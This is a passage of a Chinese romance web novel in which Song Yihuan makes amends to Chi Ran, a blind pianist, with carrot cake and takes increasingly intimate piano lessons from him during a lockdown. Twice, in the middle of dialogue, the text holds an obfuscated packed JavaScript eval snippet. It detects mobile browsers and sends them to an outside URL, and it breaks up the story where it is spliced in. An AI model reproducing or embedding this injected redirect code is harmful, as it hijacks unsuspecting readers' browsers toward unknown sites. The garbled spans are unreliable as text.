她叹口气,回个小猫点头的可爱表情。 此前跟迟燃吵过几架,她总觉得他跟她差不多大,行事幼稚且冲。可钱宇情商哪那么高,能专门补上一句“燃哥说的”,婉转地堵住她接下来的话头,也婉转地不让她上门道歉? 只可能是迟燃的意思。 她到此刻才真正觉得,迟燃应该比她大一些,懂得体面。之前种种,大约只是他选择不体面,选择跟她一起幼稚。 这么想就更烦。 午餐,果果吃着蒜香黄油大虾,愉快地摇摆。 “你又不动筷?”果果恨铁不成钢,“这一周咱俩体重都狂掉,到时候台风都能把我们吹走。” “小气男人。”宋呓欢戳戳白花花的虾肉,“虽然他帮了小熊,还愿意教我弹琴,但他还是小气男人,就是小气男人!” “没错,惹我们不痛快的都是小气男人!”果果欢快地剥虾给她,随口敷衍。 宋呓欢长叹口气:“可我就是过不去嘛!” “上周一,隔壁一楼阿姨把小孩纸尿裤丢花坛里,你叉腰跟那位阿姨隔着路大吵半小时,群里又吵好几百条,她至今都坚持在你路过时骂你,你坚持反复路过。你昨儿去的时候,阿姨嗓子已经哑了。”果果掰手指头,“门外那家蔬菜店缺斤少两,你当众指出,那人说等解封要上门跟你没完…” “你干嘛?”宋呓欢不解。 “细数我们宋战士的光辉历史。”果果说,“你是我见过最不在乎别人眼光的人,什么时候人家生你气,会让你觉得困扰啦?” 宋呓欢想不通,并觉得头大。 她嚼着虾仁,随手打开账号余烬的主页,视奸下饭。 他当时跟她吵架那条动态已经删除,后来又发几条练琴的视频。 她随手点开,依然是那种炫技与才华并存的风格。 弹幕基本都是简单粗暴的感叹:卧槽。 忽然,她从飘过的弹幕间捕捉到些关键词,她赶紧暂停点进评论区。 【烬子午安!今日打卡,战绩2】 【战绩1,你们哪儿找那么多啊?】 【快来膜拜战绩5的大神!】 【膜拜膜拜!】 【我去?!】 … 宋呓欢联系上下文,大概看明白前因后果。 虽然开盒那位粉丝已经道歉且销声匿迹,但网络上的不良信息向来难以赶尽杀绝,有些网站依然挂着小熊的信息。 迟燃在粉丝群里发了个条语音,呼吁大家随手举报。 粉丝也就自发带举报记录来他视频下打卡,互相分享战绩。 宋呓欢放下筷子,心里更不是滋味。 犹豫片刻,她下定决心似的深吸口气,戳进微信应用研究半天。 研究完,点进“音乐小饭桌”三人群。 点击迟燃的头像,接着点击添加到通讯录。 管他的。 10. 第 10 章 迟燃下午健身的时候,钱宇也跟他一起,他就干脆没带手机。等他到楼上,戴上耳机,习惯性地重播消息。 大多是些没营养的动态或广告。 “得烬小豆包、不吃炸鸡等总计五千人赞了你的视频…” 指尖轻扫,切换下跳。 “天降大额券,外卖…” 广告。 又一扫。 “豪华x钻…” 又扫。 “网络热词宝典申请添…” 再扫。 “五折享…” 等等? 迟燃停顿片刻,切换上一条。 “网络热词宝典申请添加您为好友。” “网络热词宝典向您打招呼:欢迎订阅网络热词,您的免费网络生活宝典!添加好友即可享受网络热词详细解释!” 迟燃拧眉,但手上没动,依然听着。 “赠送您三个网络热梗,供您体验!热梗一:自罚三杯,指自罚三杯酒,常用于酒桌,网络含义为表示歉意。热梗二,私密马喽,配图是一只局促的猴子。猴子,粤语称马喽。该词语读音类似私密马赛,即日语道歉用语。热梗三,已老实,求放过,这个就字面意思。” “欢迎订阅!首月0元!次月0元!添加好友!即刻订阅!添加好友添加好友添加好友添加好友…” 迟燃拿手挡脸,头埋进臂弯里,肩膀微颤。 约莫缓了半分钟,他抬头皱眉,嘴角却抑制不住扬起:“…什么破玩意。” 通过好友申请后,迟燃撑着额头平复许久,才将那阵笑意压下去。 确保自己的语气不带半点笑意后,他才给她发语音:“明天下午两点,来负荆…来私密马喽。” 宋呓欢上门私密马喽的时候,把谱也带上了。 他自己选这个练琴的时间,也不能怪她蹬鼻子上脸。 “宋神来啦!”钱宇在门口迎接,看到她手里拿着的大件物品,问她,“这大盒子是什么?” “蛋糕。”宋呓欢说,“我这不是来赔罪嘛。” 钱宇接过去:“我来切!” “你切漂亮点。”她说完才发现这话不合适。 余光瞥到迟燃抱着胳膊站在门口,似笑非笑地站着,显然听见了。 这也太容易踩雷了吧? 迟地雷! 宋呓欢抿嘴犹豫片刻,破罐子破摔:“万一你想拍照发个动态什么的,你不看给你粉丝看。” “这就是你上门私密马喽的诚意?”迟燃丢下句话就转身回房间,也没给她说话的机会。 宋呓欢谨记自己上门道歉,挽回女明星钢琴教师的主线任务。 她进厨房挑了块漂亮的三角蛋糕给迟燃,又挑了个块最小的给自己,端着去找迟燃。 迟燃坐在电脑椅上,背对她,压根没有回头的意思。 宋呓欢放重脚步蹦跶过去,将蛋糕重重地放在桌上。 迟燃果然顺着声音的方向转过去,没再背对她。他朝着蛋糕的方向一伸手,又缩回去。 “迟老师,诚意不看说什么,而是看做什么。”她说,“你知道居家期间凑齐蛋糕材料有多不容易吗?这些本来是我给自己生日攒的原材料,今天用掉我生日都没得蛋糕吃了,” 他依然没动作,也没说话。大概是不确定蛋糕在哪,不好意思伸手。 宋呓欢助人为乐地隔着袖子捏住他手腕,送到蛋糕碟上。 “干什么??” 迟燃显然被她突然的动作吓一跳,手指碰在蛋糕碟子上,瑟缩一下才搭上去。 宋呓欢将碟子又往他手心推推,“吃蛋糕!” “回回见你,心脏都得骤停。” 他缓口气,另只手去摸叉子。 “想不吓着你还是挺难的。”宋呓欢小声嘀咕。 迟燃端着蛋糕,脸朝向她,多少带点谴责的意味。 宋呓欢闭麦,没用叉子,恶狠狠在蛋糕上啃一口。 迟地雷名不虚传。 迟燃端着碟子,叉子在盘子上方挥了挥,确认蛋糕的范围。接着,他叉一小块送进嘴里。 蛋糕体很湿润绵软,入口是清爽的酸甜,滑到舌根才化为回甘,是他从来没吃过的蛋糕的味道。 “好吃吧?”宋呓欢得意洋洋。 “这是什么蛋糕?”迟燃问。 宋呓欢:“胡萝卜蛋糕!” 迟燃咀嚼的动作急停,接着缓慢地抿抿嘴。不知是想吐出来还是想好好品一品。 宋呓欢问:“怎么啦?” “胡萝卜灭绝。”迟燃咬牙切齿。 胡萝卜的味道很可怕,入口是似有若无诡异的甜,咀嚼过程中甜腻中会猛地迸发出某种很有攻击性的味道。 像雨天路过加油站,被汽油机油煤气等各种刺激性气息扑面。 迟燃犹豫着,不知道该不该继续咀嚼。 “你上一口都咽下去了。”宋呓欢拆台,“你根本没吃出来!” 跟能看见的人相处,有很多坏处。 其中之一就是跟照X光似的,做什么都能被看出来。 迟燃没再说话,仰头咽下,然后将蛋糕放回桌上。 “胡萝卜就该被赶尽杀绝。”他断言。 “那我肯定帮胡萝卜,胡萝卜甜丝丝的多好吃啊!”宋呓欢说,“而且胡萝卜很有营养,从小我妈就说胡萝卜明目…” 又一个急刹住嘴。 在地雷区走路是这样的,每一步都咔哒咔哒作响,一个接一个地踩雷。 第三次了。 宋呓欢有点紧张地说:“我不会三振出局吧。” 他指腹摩挲蛋糕碟边缘,没说话。 “迟…迟老师!迟师父!迟教授!”她试图唤醒短暂的师徒情。 “三振出局?”迟燃挑眉,“您是打算每小时三振啊,还是每分钟三振?” 宋呓欢悄悄剜他一眼,嘴上说:“要么每秒吧。” 迟燃妥协似的长出口气,“算了吧,你说没事。” 什么叫你说没事? 这话翻译过来就像是你这个嘴这个脑回路我就不强求了。 宋呓欢再次悄悄剜他,并愤怒虚空挥拳。 她的动作带起一阵风,接着是哗啦哗啦的响声。 迟燃侧头问:“你上门私密马喽还带谱子?” 宋呓欢捏着谱子对着他扇风:“怕你热。” “今天五度,还下雨。”迟燃毫不留情地拆穿。 那边半天没声音,他愉快地摸着蛋糕碟边缘,端起来叉一大块,送进嘴里。 “不是说要对胡萝卜赶尽杀绝吗?”宋呓欢撇嘴。 迟燃手一顿,但还是送进嘴里。 “吃灭绝。” 迟燃没再放下蛋糕碟,一口接一口吃完整块蛋糕,将空碟子拿在手上。 吃完他站起身,熟练地越过宋呓欢,往门外走。 “你干什么去?”她问。 他头都没回:“弹你的琴。” 宋呓欢架上谱子开始弹的时候,迟燃回来了,手上端着块全新的胡萝卜蛋糕,——比刚才那块还大。 显然,胡萝卜蛋糕秽土转生,它杀回来啦! 宋呓欢谨记她私密马喽的主线任务,咽下这句吐槽。 “迟老师,您坐!”她拍拍琴凳旁的板凳,极其殷勤。 迟燃端着蛋糕走过来,用脚在板凳腿上勾两下确认好位置,才稳稳地坐下去。 宋呓欢手架在琴上,开始弹练习曲。 她回去有用电子琴练习,但电子琴和钢琴不是一回事,手感完全不同。 没弹多久,迟燃就放下叉子,将右手搭在钢琴琴壳上。 宋呓欢莫名有些紧张:“你干嘛?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223492|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说:“感受一下震感。” 宋呓欢:“为什么?” 总觉得他不会说什么好话。 “我研究研究你是怎么做到弹琴跟蹦豆似的。” 果不其然。 宋呓欢愤怒地指尖用力,试图通过震感传到将他手振麻。 “这两下发力不错。”他点头,“再来。” 被他一夸,宋呓欢心里的小火苗又迅速消失,指尖力度也降下来。 他立马察觉:“就不该夸你。” 指尖力度再次激增。 她就这么忽上忽下地弹完整首曲子。 弹完她连句怎么样都不想问。 她甚至怀疑迟燃一开始答应教她弹琴,纯粹是为了能多个嘲讽她的角度。 迟燃点评道:“弹,不是敲。扬琴才用敲的。” 宋呓欢不服气地再弹一次。 迟燃的点评依然毫不留情:“你要不还是去试试扬琴,我这有。” “你来。”宋呓欢咬牙起身,手啪地往琴壳上一敲,咚一声响。 “不敲门板改敲琴板了?敲门永存啊。”迟燃带点笑意。 她要炸了:“来来,我听听不扬琴怎么弹。” “行。”说着,他指指钢琴后面,“你站在音板这里,手放上去。” 宋呓欢恶狠狠地剜他好几眼,但还是配合地站在背板后,五指并拢搭在背板上。 “你刚刚是这样弹的。”他弹起来,手指一下一下敲在琴键上。 震//颤传到她手心,有点麻。手心像块柔软的打糕,被木锤毫不留情地砸着。 模仿完她的弹法,他又从头开始弹,这一次手指流畅灵活地在琴键上淌过。 振动的频率忽然从一下一下,变得数不清楚。那种感觉很难精准形容,硬要说的话,仿佛古董琴变成有呼吸心跳的生命。 而她摸在琴的脉搏。 宋呓欢嘴硬:“感觉没区别。” 让人意外的是,迟燃没跟她呛声,空气静默两秒。 “闭上眼睛。”他声音很轻,“用触觉感受。” 话音未落,轻巧的音符自黑白中跃出。她贴着音板的左手忽而一轻,仿佛被什么托起来。 琴声响起的瞬间,连窗外的雨声都被放大,她仿佛听见雨滴下坠的脆响。 音符在墙壁间冲撞、起舞,接着攀上云霄,混进雨里,挣扎着冲向太阳。 琴声渐渐掺杂高频的颤音,云裹着琴声,温柔地托举,周遭升起烟雾。倏尔日光劈开云雾,融化触目所及的一切。 霎时间,琴声伴随雨滴自云间坠落。 下坠吧。 失重吧。 琴声叫嚣着高昂的自由。 宋呓欢闭眼前看到最后的画面,是迟燃手臂轻颤着带动双手,流动的线条,如呼吸般地起伏,他臂肌绷紧再放松,循环往复。 闭眼定格的那一帧,是绷紧。 于是她也绷紧。 剥离光明的瞬间,感官无限放大,现实反而无限收窄。她手心处的钢琴仿佛不存在了。 变为演奏者随呼吸心跳起伏的胸口。 仿佛被什么蛊惑,她将手放下,轻轻、缓缓地将身体靠在音板上,抵住。 下一秒,振动顺着音板传递过来。 窗外淅淅沥沥的雨洇入室内,兜头淋下来。 胡萝卜蛋糕的香气被雨水里的尘土气味覆盖,甜腻变为潮湿。 震颤带来的酥麻顺着背脊流淌,融化进跃动的琴声,彷徨于云端。 于是琴的生命连着她的生命,指尖的跳动连着她的心脏的跳动。 一切都失去平衡,一切都不停下坠。 一切感官都在融化,化进雨水里。 她淋在雨里。 琴声停止的瞬间,她猛地听见自己急促混乱的呼吸, ——混在雨中坠落。 11. 第 11 章 迟燃将弱音拨杆拉出来,等到余音平息,那抹粉依然半躲在音板后。 “怎么样?”他挑眉,“感受到差距…” 那抹粉猛地跳跃,飞快地说:“我…我我有事,我先走!” 比话语更急促的是她的脚步,劈里啪啦地绊倒许多东西。她带起的风扫过来,没等他反应,关门声已经响起。 钱宇探头进来,四下看看:“没到点儿呢,你把人骂走了?她蛋糕都没怎么动呢。” “没有吧?”迟燃伸手摸向自己那块没吃完的蛋糕,但摸个空。 “摔地上了。”钱宇说。 迟燃有些心疼地皱眉,缓缓起身。 “你别动!还要是吧?我再给你拿一块。”钱宇说,“我拖完地之前你别乱动,这点蛋糕你再给我涂抹均匀咯。” 迟燃缓缓坐回去,撑着头等下一块蛋糕。 钱宇端来蛋糕的时候还在念:“都说了你对人家客气点,到时候人不来了,咱俩就得跟俩不会做饭的留守老头似的。” 迟燃含着一小块胡萝卜蛋糕,没拒绝,等着清甜融化在舌尖。这样吃的话,甜会被拉长些。 等回甜也消失,他才开口:“无所谓吧,反正没几天就要解封。” 解封后,大家肯定撒欢似的往外跑,有无数个地方要去。 没人会和他一样,将自己跟棵盆栽似的种在家里,烂在家里。 “哦确实,解封就能点外卖了。”钱宇点点头,“我其实特别馋杨国福…你说宋神能会做麻辣烫吗?” 迟燃没说话,又叉起一块蛋糕含着。 这一次的梦,比以往来的都要诚实。 没有什么乙女游戏,什么健身陪伴作为幌子,入目无他,唯有迟燃失焦的瞳孔和灵活自如的手指,还有那架钢琴。 “闭上眼睛…感受,触觉。”他的声音自耳侧滚落。 身下是被凌乱奏响的琴键,面前是他薄茧的指腹。 “不对。” “手放上去。” “再来。” …… 醒来后,宋呓欢呆呆地坐着。手心有些黏腻,她抽张湿巾攥着,有些凉。 大概是早春气候不佳,空调开得太高,手心汗湿溻得久,才有这种黏糊糊的触感。 这种触感有些熟悉。 类似儿时偷吃时,摸上黏腻灶台那种触感。 囫囵吞下满足欲望的食物,品不出什么味道,只感到贪婪,再之后是羞愧。 这种羞愧一直持续到第二天中午还未消退。 果果吃着面条,大吼大叫:“啊!!你生日礼物快递退回了啊!!钱都退给我了!!”果果皱眉,“这家总缺货,我好不容易抢到的呢。” 宋呓欢低头拨弄着碗里的面条,小声说:“没事,别买了。” 果果凑近看她片刻,贴贴她肩膀,笑着说:“怎么,又不要啦?我陪你再演一遍?” “不是。”她扭过头,手脚都不知道该怎么摆。 羞耻感总是很突然地涌出来,冒出来,让人觉得自己渺小不堪,躲都躲不过。 “行吧,演。”果果清清嗓子,分饰两角,先凑到她旁边学她说话,“哎呀果果你不要闹了,我不要这种东西!” 然后果果坐回来,复述自己说过的话:“确定吗?这个是我亲测体验最好且不会痛的哦。” 接着,凑过去继续学她:“不行不行,我买这种东西我妈要打死我!” 坐回来说:“你妈坐飞机过来俩小时,这时间够你把玩具挫骨扬灰再办个葬礼了,她打不死你!” 又凑过去说:“你不要再说了我不要不要不要不要…” 坐回来,“那好吧,那我不买了。” 凑过去,“那个…有粉色的吗?” 果果演完这一通,揽住她肩膀,“你平时勇得我都害怕,怎么在这事上这么不好意思?” 宋呓欢脸藏起来,肘击她:“你平时那么怂,怎么满口虎狼之词啊!!” 果果笑着说:“还演吗?不演我下单了。” 她点头默认。 半晌后她闷声说:“粉的。” 果果点头:“知道。” 洗完午餐,宋呓欢和果果分工明确,果果刷碗,她出门送菜。 送完菜回来,已经快到两点钟,宋呓欢来不及回忆昨天的种种,紧赶慢赶地去找迟燃。 她走到门口,迟燃在房间里。 他懒懒靠在电竞椅上,戴着灰色头戴式耳机,桌上摆着个墨绿色的长方体,看上去像个超大的游戏手柄。 他手有一下没一下地在“游戏手柄”上敲着,脸倒是朝着门口。 他倨傲地抬抬下巴,虚无的目光没有落在她身上,挑衅似的挑挑眉:“昨天你跑什么?” 他这么一问,好容易淡化些的羞耻感轰地炸开来,她呛:“管得着吗?” 迟燃摘掉耳机挂在脖子上,起身站在她面前。他个子很高,肩膀也宽。阳光一照,他身影笼下来,将她的影子圈住。 影子叠着影子,周遭忽然暗下来。 他戴着耳机没听清:“说什么?” 她没声息。 太近了。 近到她稍微晃一晃,鼻尖就会点在他胸口。 阵阵松木混着类似蜂蜜的香气飘过来,很浓郁,但仿佛带着身体的温热,不像是香水。 她神经一跳,不自觉翕动鼻尖嗅闻。 “嗯?”他催促。 宋呓欢做贼心虚地屏住鼻息,急促地说:“没什么。” 迟燃狭窄的视线里没看见粉。 他是在听到她声音后,才意识到她人快要贴在他胸口。她说话带起微弱的气流,似有若无地打过来。 他想后退些,可电竞椅已经靠在墙上,绊着他的膝窝,退无可退。 他只得伸手扶住显示器,撑住身体,微微后仰。 “你别离我这么近。”他撑了好一会,但感觉到她还在原位,只得开口。 “哦哦哦。” 那道声音倏尔一远。 插曲过后,宋呓欢开始练琴,他背光坐旁边。 为了防止再出现刚才的尴尬,他几次调整板凳的方向,确保阳光照在她的粉色头发上,确保那抹粉出现在他视线里。 气氛依然微妙。 她弹得手忙脚乱,总是碰到旁边的键,一首歌弹得乱七八糟。 弹完,她没说话也没继续,看样子是在等点评。 迟燃停顿片刻才说:“你手要放松,指尖发力。这么绷着手肯定跟不上谱。” “嗯。”她话意外地少。 “昨天为什么跑?”他问。 是他话说太重,还是真有什么事? 宋呓欢压根没有回答,她的手咣的一声落在琴上。 琴声再次响起,比上一遍还要乱七八糟。 “你歇会,我耳朵也歇会,先练基本功。”他手搭在琴键上,每个手指逐一发力,弹响琴键,“看我,看指节。” 宋呓欢竟没有回呛,而是说:“好。” 他弹完第一小节,侧头示意她:“你来。” 宋呓欢弹了半个小节,他就忍不住叫停:“别太用力,你现在手得跟鸡爪似的。” “光靠听就能听出手型不对吗?”她反问。 “能,很明显。”他再次将手搭在琴上:“像我这样。” “学不明白。”她话里隐约有些赌气的意思。 他说:“那就照着我的手型比划,看关节角度。” “明明就一样。” “那你弹。”迟燃说。 琴声响起,依然是琴键粘连,弹响好多键。 他说:“手型不对。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223493|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那怎么样才对?”她听起来有些急躁,“这样?” “…你赌气呢?”迟燃皱眉,“我看不见。” 周遭的空气忽然流动起来,她的声音猛地靠近:“手给你,你摆。” 与她声音同时到达的,是她温热轻颤的手指。她的手指有些生硬地塞进他手心里,更生硬地画个圈。 “凭什么?”他懒洋洋道。 他说凭什么。 宋呓欢已经到极限,冲动只够支撑她到这。 她不用看都知道自己脸红,肺里挤出的空气烫着她的上颚,烫得她有些想哭。 眼睛倒是很干,水分大概早就被热意蒸发。 “你…”她不知是气急还是羞愧,连个完整的句子都说不出。 逃跑吧。 在她无法容忍的下一秒,在她抽手起身逃离的前一秒—— 他薄茧的手心攥住她指尖。 宋呓欢呼吸空拍,心跳与热度一并钻进大脑,轰鸣着,蒸腾着。 “怕痒,别乱动。”他这么说。 如果是怕痒,如果是别乱动,如果是凭什么,那么…也该松手了吧? 可他还攥着。 他眼里看不出什么情绪,没找见不耐烦,但也没找见温柔,摸准他在想什么。 可他还攥着。 钢琴上摆着个节拍器,指针呼啦呼啦地摇摆,4/4拍。 他还攥着。 于是宋呓欢心里也装上个节拍器,4/4拍。 一…二…三…四… 一,二,三,四。 一!二!三!四! 一!二三四!一二三!四!一二… “我来摆。” 他声音很轻,但出声瞬间便盖过聒噪的节拍。 但盖不过她的心跳声。 迟燃轻咳一声。 他不是故意握那么久,他只是一时诧异,没反应过来。 她弹琴时笨拙,性格算得上野,所以在他脑补中,她的手也像她的人,粗粝且有力。 实际不是这样,她手指意料之外的纤细,小巧。 他手心像蹭到初春的绿枝,盎然自枝头绽放至手心。 有些象征着生长的痒意。 所以才恍神。 听他说帮她摆,宋呓欢就想放松手指,可是放松会颤,会抖。她就只好绷着劲儿,可是绷着的话—— “掐我干什么?”他托着她的手,嘴角微弯,“放松。” 她放松一些,可食指小幅度地颤动。 他带着薄茧的手指捏上来,不知道会不会察觉。 他一手握住她手腕,一手将她每根手指都妥帖地摆好。 摆完将她的手虚虚搭在他手心,用手心当琴键。 “弹一下试试看。” 宋呓欢在他手上做出弹琴的动作。 他笑起来:“你倒是用力啊,别光是点一下。” 脸烫得吓人,幸好热意没蔓延到手心。 她努力集中注意力,再次做出弹的动作。 “嗯,对了。”他手离开她,“再来。” 她再一次弹那个重复的、无趣的练习曲,弹完他说不错。 哪里不错?怎么个不错法? 刚才是怎么弹的来着? 根本不记得。 她满脑子思绪乱飞,飘到不知名的地方,但仔细去找,却连半个念头都抓不住。 偶尔冒出碎片似的画面,都是属于迟燃的。 薄茧的手,失神的眼,还有那股不知名的松香。 混乱地闪烁。 “想什么呢?” 迟燃蓦地出声,他叠着腿,撑着琴凳凑近些。 宋呓欢脑子那些关于迟燃混乱念头瞬间消失,眼前是他放大的脸。 他一字一顿,微微偏头, “真要我卖身?” 12. 第 12 章 他说,想什么呢?真要我卖身? 宋呓欢的大脑在这一瞬间炸成烟花,震惊程度不亚于第一次听他叫出“小粉”二字。 !他会读心术吗?! 手肘砸在琴键上,混乱音符窜出来。 “嘶——”她没忍住出声。 “你怎么了?”迟燃问。 “磕到麻筋了。”她皱眉,“我手臂在冒星星。” 迟燃在琴键上摸两下,“嗯,琴键还在。” 宋呓欢恶狠狠剜他一眼,问:“你刚才说什么呢?” “我说,你真要我卖身啊?”他说,“四点,到点下课。” 宋呓欢悄悄松口气。 “我都不知道时间,你怎么知道?”她问完觉得不合适,找补道,“我上课特认真,都没看时间。” 迟燃看样子没介意,指指脖颈上的头戴式耳机,“我开着整点播报。” 大约是怕她听不懂,他继续解释,“就是视觉障碍辅助功能的一种,到整点会报时。” 宋呓欢:“布谷布谷那种吗?” “…新闻联播那种。”迟燃无奈。 “我其实没看过新闻联播。”她说。 迟燃震惊道:“你多大啊?” “我零二的,过完生日就二十。”她说。 “…”迟燃半天没说话。 “你还在上学?”他问。 宋呓欢犹豫片刻,说:“没,我就读到高中。” 迟燃依然沉默,看样子沉浸在震惊里。 宋呓欢问:“你…和钱宇呢?” “我大你半轮。”他说。 宋呓欢觉着自己应该追问那钱宇呢,这样会显得不那么刻意。 但她还是没问,毕竟迟燃也没说。 “我竟然大你半轮,整整六岁。”迟燃难以置信地重复。 宋呓欢眨巴眨巴眼睛,吐槽:“你吵架的时候也不像大我半轮啊。” 接下来连续几天学琴的时候,宋呓欢都极其后悔自己那句吐槽。 她其实没觉得六岁是很大的差距,毕竟有时候迟燃也挺幼稚。 但迟燃显然不这么想。 她能明显感觉到他在刻意保持距离。 手型难关被攻克后,再没有什么肢体接触的由头。 他态度也变了很多,虽说还是那种句句难听的风格,但还是有些不一样。 他再也没有搬着板凳坐在琴凳旁,而是坐在远一些的电竞椅上,抱着那个游戏手柄模样的东西敲来敲去。 昨天她没忍住问来着,他说那叫打击垫,编曲用的。 虽说他姿态看起来很有距离感,但她主动提问的话,他都会解答。 比如现在。 “这段太快,我追不上。”她有些苦恼地扬声说。 “手腕提起来,坐直,你整个人趴钢琴上更弹不快。” 宋呓欢皱皱鼻子,反驳:“你不就能看见粉吗,还能看见我趴琴上?” “这琴脆,你要真趴上去我肯定能听见。” 迟燃不知什么时候把头戴式耳机换成入耳式,这样能只戴一只,留出一只听她说话。 以便给到切题的挖苦。 为什么这样? 她莫名觉得他在沮丧,可又不知道他在沮丧什么。 尽管如此,四点钟还是光速降临,她抱着谱子半步半步挪到门口。 迟燃房间的门半掩着,他人没出来。 每次他都不会送她,毕竟他不方便。她之前都没在意,但察觉到疏离之后,这点毫不相关的小事也变成失落的由头。 不讲什么道理。 “宋神拜拜!”钱宇热情挥手,带上门回头喊,“走走,健身去!” 迟燃缓缓地起身,将身上的T恤脱下来,换上无袖速干衣。 “你说,解封之后宋神还会来吗?”钱宇忽然问。 迟燃沉默片刻,没说话。 “她要是不来,我们要么就还是三点健身吧?四点人太多,我回回都抢不着那个哑铃凳。” “那你就练腿去。”他说。 “练腿的也抢不着。”钱宇问,“所以宋神还来不来?其实来也挺好,她烧饭真香。” 迟燃依然没回答,而是说:“到时候能出门,谁还去小区健身房。” “有道理。” 钱宇走到门口又折返,念叨着:“我带你哑铃下去,楼下那个破哑铃忒滑,我怕砸脚。” 迟燃靠在门边等,抬手给他指:“钢琴边上那柜子,中间那层。” “嘶,哪儿呢?”钱宇扬声问,“你来!” 迟燃长出口气,缓缓往屋里走:“真有你的,喊瞎子替你找东西。” 没等他走到卧室门口,就听到当啷一声响,夹杂着琴键奏响接着是碎裂的声音。 这动静敲得他心脏一紧,三步并作两步往屋里冲,膝盖还在门板上绊一下,生疼。 迟燃脚尖抵着琴定位,伸手去摸琴键,从左到右捋下来,黑键白键足足砸断十多个,剥落的键皮碎掉,飞得到处都是。 再往里摸,琴键也断了两三根。 刚才还开玩笑说琴脆呢,这就一语成谶。 钱宇还在那直愣愣地说:“没砸着脚。” 迟燃揪在一起的心脏又被怒火撑得涨开,恨不能将他脑壳砸琴里。但愤怒又很快就消散,被密密麻麻的无措取代,胸口空落落的。 “那真是可惜了。”迟燃面无表情地说着,摩挲断裂的琴键,木茬扎得手疼。 “哥,我赔吗?我不赔吧。”钱宇才想起来认怂,肝颤。 地上也都是木茬,迟燃不穿拖鞋,踩上去扎得人烦躁。他走到琴凳边坐着,半晌没说话。 “哥你说句话,你这样我怕你拿哑铃砸我头。”钱宇说话都带颤音了。 迟燃沉默许久,才想到什么:“键皮是不是还有半套?” 钱宇哆哆嗦嗦:“没有半套吧。” 迟燃又问一次:“键皮是不是还有半套?” “你想修?”钱宇更害怕了,“没半套了,就剩三五个,还都是黑键,修不成吧?估计得等解封找人配了键皮再修。” 迟燃就两个字:“找去。” 钱宇恨不能蹦起来办,毕竟得给自己和钱包都留条活路。 琴键放在燃哥床底的收纳盒里,他撅着去够,将箱子拖出来。 没等他开,燃哥单手将箱子拽过去,掀开来翻找。 “就剩六个黑键了哥。”箱子里没几样东西,钱宇看得很清楚。 迟燃没理,还是半跪在地上将箱子里的东西摸个遍,最后将黑键都拿在手里,没说修也没说不修。 钱宇心里更没底了。 迟燃在箱子边坐半晌,冒出来句:“还多久解封?” “一礼拜,再七天。”他慌乱答。 他低声重复:“七天。” 钱宇殷切点头:“对,哥你别难受,再七天就能找人修琴了。” “本来还有七天呢。”他扯扯嘴角,笑得无奈。 钱宇看他还能笑,觉着自己捡回条命:“哥,那我…” “你出去。” “得嘞!” 迟燃听着他关上门,依然没动,曲膝坐在地上。满地狼藉硌手,他没法撑地,胳膊就搭在腿上。 搭着搭着,脸就埋进去。 “我舍不得你。” 钱宇端着可乐鸡翅,双手作揖状, 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钱宇诚恳地说:“再来个炒苋菜吧,补充维生素。” 宋呓欢点头,“想喝汤吗?” “喝!”钱宇问,“冬瓜羊肉汤吧,我馋好久了。” “好。”她笑笑,“那你今晚早睡早梦,我怕你一晚上吃不完。” 说完啪地关上门。 迟燃睁眼的时候,被高悬的太阳晃个正着。他摸到床头的手机,听时间播报。 “现在是北京时间,一点二十三分。” 他昨晚特意没定闹钟,打算睡到自然醒,但人睡眠也有限,再怎么努力也就到这个点了。 睡太久脑子有点懵,还隐隐愉悦地痛,他撑着身子坐着缓。 缓过来之后,他对着门外喊一声:“两点健身!” “啊?”钱宇推门伸头,“饭都没做好呢,健哪门子身?” 迟燃呆坐会,才说:“那三点。” “行。” 等钱宇关上门,他左手捏着右手,又开始愣神。 世界上唯一不变的就是变化。 上周他刚攥过她的手,脑海里的画面还是他久违地走出家门,握住短短一截早春的绿枝。 紧接着就得知她才二十岁,当成年人才刚当两年。 他大脑极具效率地将画面重新加工,补充细节,整个场景一句话就能概括:老瞎子假摸骨真流氓。 他今年二十六。 迟燃不畏老,他难受的不是这个。他难受的是,他今年二十六岁,但他只活过二十四年。 活是人声鼎沸,天之骄子那二十四年。 死是足不出户,入目漆黑这两年。 他要是真二十四岁,那也好点,听上去没有“半轮”那么吓人。 可他偏偏死了整整两年,可她偏偏成年刚满两年。 细细想来,心里怪闷的。 那天他当场就想让她别再来。 可望着那抹粉,话到嘴边又咽下去,想着再等等,再贪几天。 谁承想琴砸了,休止符突如其来。 本以为还有七天呢。 他起床习惯性地套上床边的衣服,都穿上了才想起来摸摸手感,是纯棉T恤。 他又脱下来,摸出另一件速干衣,套上去。 “中午吃什么?”他死气沉沉地走出去。 钱宇没说话,门倒是响了一声。 接着是嚷着喊出来的一句话: “迟老师!!!” “我来上课啦!!” 13. 第 13 章 钱宇薅着后脑勺的头发,感觉自己是给迷茫开门的迷茫妈。 迷茫到家了。 宋呓欢瞥他一眼,调门很高地又嚷:“我来上课啦!” 嚷完轻车熟路地换一次性拖鞋,朝着燃哥房间走。 “咦?”她看都没看钱宇,甚至还没看见琴,嗓门特别高,“琴怎么回事啊?” “那个…宋神?”钱宇犹豫着喊她。 她怎么跟失忆了似的。 “这是怎么了?”她扬声问。 失忆得有点太彻底了吧。 钱宇彻底摸不着头脑。 “昨天不是…” 